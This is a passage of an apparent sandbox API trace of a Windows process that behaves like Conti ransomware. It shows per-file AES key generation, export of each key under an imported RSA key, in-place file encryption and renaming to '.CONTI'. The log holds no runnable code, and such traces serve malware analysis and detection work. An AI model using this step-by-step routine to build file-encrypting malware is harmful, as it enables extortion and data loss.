	[0145.188] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.188] SetEndOfFile (hFile=0x44c) returned 1
	[0148.640] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0148.640] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0148.640] WriteFile (in: hFile=0x44c, lpBuffer=0x65d109c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x65d109c*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0149.375] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.375] ReadFile (in: hFile=0x44c, lpBuffer=0xe980000, nNumberOfBytesToRead=0xf8, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0xf8, lpOverlapped=0x0) returned 1
	[0149.375] CryptEncrypt (in: hKey=0x17de610, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0xf8, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x100) returned 1
	[0149.375] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.375] WriteFile (in: hFile=0x44c, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x100, lpOverlapped=0x0) returned 1
	[0149.375] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.375] WriteFile (in: hFile=0x44c, lpBuffer=0x65d1090*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x65d1090*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0149.375] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.375] CloseHandle (hObject=0x44c) returned 1
	[0151.362] GetProcessHeap () returned 0x1720000
	[0151.362] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6bb60d8
	[0151.363] lstrcpyW (in: lpString1=0x6bb60d8, lpString2="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms" | out: lpString1="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms") returned="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms"
	[0151.364] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms.CONTI") returned="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms.CONTI"
	[0151.364] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\fd1hvy\\searches\\everywhere.search-ms"), lpNewFileName="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms.CONTI" (normalized: "c:\\users\\fd1hvy\\searches\\everywhere.search-ms.conti")) 

Thread:
	id = 168
	os_tid = 0x13cc

	[0093.100] VirtualAlloc (lpAddress=0x0, dwSize=0x500020, flAllocationType=0x3000, flProtect=0x4) returned 0xee90000
	[0093.101] CryptAcquireContextA (in: phProv=0x50ff950, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x50ff950*=0x176c2c0) returned 1
	[0093.103] CryptImportKey (in: hProv=0x176c2c0, pbData=0xb8d90, dwDataLen=0x1000, hPubKey=0x0, dwFlags=0x0, phKey=0x50ff94c | out: phKey=0x50ff94c*=0x175e030) returned 1
	[0093.103] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0093.397] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x17c0e90 | out: phKey=0x17c0e90*=0x175e4b0) returned 1
	[0093.399] CryptExportKey (in: hKey=0x175e4b0, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c0e94, pdwDataLen=0x50ff91c | out: pbData=0x17c0e94*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0093.546] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 0x80
	[0093.546] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0093.546] GetLastError () returned 0x0
	[0093.546] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=74214) returned 1
	[0093.546] SetFilePointer (in: hFile=0x334, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x121e6
	[0093.546] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.546] SetEndOfFile (hFile=0x334) returned 1
	[0093.546] SetFilePointer (in: hFile=0x334, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.546] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.546] WriteFile (in: hFile=0x334, lpBuffer=0x17c0e94*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x17c0e94*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0093.549] SetFilePointer (in: hFile=0x334, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.549] ReadFile (in: hFile=0x334, lpBuffer=0xee90000, nNumberOfBytesToRead=0x121e6, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x121e6, lpOverlapped=0x0) returned 1
	[0093.552] CryptEncrypt (in: hKey=0x175e4b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x121e6, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x121f0) returned 1
	[0093.552] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.552] WriteFile (in: hFile=0x334, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x121f0, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x121f0, lpOverlapped=0x0) returned 1
	[0093.553] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.553] WriteFile (in: hFile=0x334, lpBuffer=0x17c0e88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x17c0e88*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0093.553] SetFilePointer (in: hFile=0x334, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.553] CloseHandle (hObject=0x334) returned 1
	[0093.555] GetProcessHeap () returned 0x1720000
	[0093.555] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17c7f58
	[0093.555] lstrcpyW (in: lpString1=0x17c7f58, lpString2="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml"
	[0093.555] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.CONTI") returned="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.CONTI"
	[0093.555] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.CONTI" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.conti")) returned 1
	[0093.555] GetProcessHeap () returned 0x1720000
	[0093.555] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7f58 | out: hHeap=0x1720000) returned 1
	[0093.555] CryptDestroyKey (hKey=0x175e4b0) returned 1
	[0093.555] GetProcessHeap () returned 0x1720000
	[0093.555] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bfa50 | out: hHeap=0x1720000) returned 1
	[0093.555] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0094.252] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x17d58c0 | out: phKey=0x17d58c0*=0x175e570) returned 1
	[0094.252] CryptExportKey (in: hKey=0x175e570, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d58c4, pdwDataLen=0x50ff91c | out: pbData=0x17d58c4*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0094.258] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 0x80
	[0094.259] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0094.259] GetLastError () returned 0x0
	[0094.259] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=3628) returned 1
	[0094.259] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe2c
	[0094.259] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.259] SetEndOfFile (hFile=0x34c) returned 1
	[0094.259] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.259] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.259] WriteFile (in: hFile=0x34c, lpBuffer=0x17d58c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x17d58c4*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0094.261] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.261] ReadFile (in: hFile=0x34c, lpBuffer=0xee90000, nNumberOfBytesToRead=0xe2c, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0xe2c, lpOverlapped=0x0) returned 1
	[0094.261] CryptEncrypt (in: hKey=0x175e570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0xe2c, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0xe30) returned 1
	[0094.261] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.261] WriteFile (in: hFile=0x34c, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0xe30, lpOverlapped=0x0) returned 1
	[0094.261] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.261] WriteFile (in: hFile=0x34c, lpBuffer=0x17d58b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x17d58b8*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0094.261] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.261] CloseHandle (hObject=0x34c) returned 1
	[0094.262] GetProcessHeap () returned 0x1720000
	[0094.262] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17c7588
	[0094.263] lstrcpyW (in: lpString1=0x17c7588, lpString2="C:\\588bce7c90097ed212\\header.bmp" | out: lpString1="C:\\588bce7c90097ed212\\header.bmp") returned="C:\\588bce7c90097ed212\\header.bmp"
	[0094.263] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\header.bmp", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\header.bmp.CONTI") returned="C:\\588bce7c90097ed212\\header.bmp.CONTI"
	[0094.263] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), lpNewFileName="C:\\588bce7c90097ed212\\header.bmp.CONTI" (normalized: "c:\\588bce7c90097ed212\\header.bmp.conti")) returned 1
	[0094.263] GetProcessHeap () returned 0x1720000
	[0094.263] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7588 | out: hHeap=0x1720000) returned 1
	[0094.263] CryptDestroyKey (hKey=0x175e570) returned 1
	[0094.263] GetProcessHeap () returned 0x1720000
	[0094.263] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d0a8 | out: hHeap=0x1720000) returned 1
	[0094.263] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0094.982] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x17c4598 | out: phKey=0x17c4598*=0x17c7e70) returned 1
	[0094.984] CryptExportKey (in: hKey=0x17c7e70, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c459c, pdwDataLen=0x50ff91c | out: pbData=0x17c459c*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0094.985] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu")) returned 0x80
	[0094.985] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0094.985] GetLastError () returned 0x0
	[0094.985] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=2192672) returned 1
	[0094.985] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x217520
	[0094.985] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.985] SetEndOfFile (hFile=0x324) returned 1
	[0094.986] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.986] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.986] WriteFile (in: hFile=0x324, lpBuffer=0x17c459c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x17c459c*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0095.103] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0095.103] ReadFile (in: hFile=0x324, lpBuffer=0xee90000, nNumberOfBytesToRead=0x217520, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x217520, lpOverlapped=0x0) returned 1
	[0095.457] CryptEncrypt (in: hKey=0x17c7e70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x217520, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x217530) returned 1
	[0095.460] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0095.460] WriteFile (in: hFile=0x324, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x217530, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x217530, lpOverlapped=0x0) returned 1
	[0095.511] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.511] WriteFile (in: hFile=0x324, lpBuffer=0x17c4590*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x17c4590*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0095.511] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0095.511] CloseHandle (hObject=0x324) returned 1
	[0095.613] GetProcessHeap () returned 0x1720000
	[0095.613] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17e3430
	[0095.613] lstrcpyW (in: lpString1=0x17e3430, lpString2="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" | out: lpString1="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu"
	[0095.613] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.CONTI") returned="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.CONTI"
	[0095.613] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.CONTI" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.conti")) returned 1
	[0095.613] GetProcessHeap () returned 0x1720000
	[0095.614] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e3430 | out: hHeap=0x1720000) returned 1
	[0095.614] CryptDestroyKey (hKey=0x17c7e70) returned 1
	[0095.614] GetProcessHeap () returned 0x1720000
	[0095.614] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17404d8 | out: hHeap=0x1720000) returned 1
	[0095.614] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0095.614] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x17d2448 | out: phKey=0x17d2448*=0x17c7e70) returned 1
	[0095.614] CryptExportKey (in: hKey=0x17c7e70, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d244c, pdwDataLen=0x50ff91c | out: pbData=0x17d244c*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0095.615] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 0x20
	[0096.467] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0096.467] GetLastError () returned 0x0
	[0096.467] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=69632) returned 1
	[0096.467] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.467] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.472] SetEndOfFile (hFile=0x324) returned 1
	[0096.472] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.472] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.472] WriteFile (in: hFile=0x324, lpBuffer=0x17d244c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x17d244c*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0096.473] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.473] ReadFile (in: hFile=0x324, lpBuffer=0xee90000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x11000, lpOverlapped=0x0) returned 1
	[0096.475] CryptEncrypt (in: hKey=0x17c7e70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x11000, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x11010) returned 1
	[0096.475] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.475] WriteFile (in: hFile=0x324, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x11010, lpOverlapped=0x0) returned 1
	[0096.475] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.475] WriteFile (in: hFile=0x324, lpBuffer=0x17d2440*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x17d2440*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0096.475] SetFilePointer (in: hFile=0x324, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.475] CloseHandle (hObject=0x324) returned 1
	[0096.477] GetProcessHeap () returned 0x1720000
	[0096.477] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.478] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx"
	[0096.478] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.CONTI"
	[0096.478] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.conti")) returned 1
	[0096.479] GetProcessHeap () returned 0x1720000
	[0096.479] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.479] CryptDestroyKey (hKey=0x17c7e70) returned 1
	[0096.479] GetProcessHeap () returned 0x1720000
	[0096.479] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740640 | out: hHeap=0x1720000) returned 1
	[0096.479] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0096.479] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x17d9680 | out: phKey=0x17d9680*=0x17c7e70) returned 1
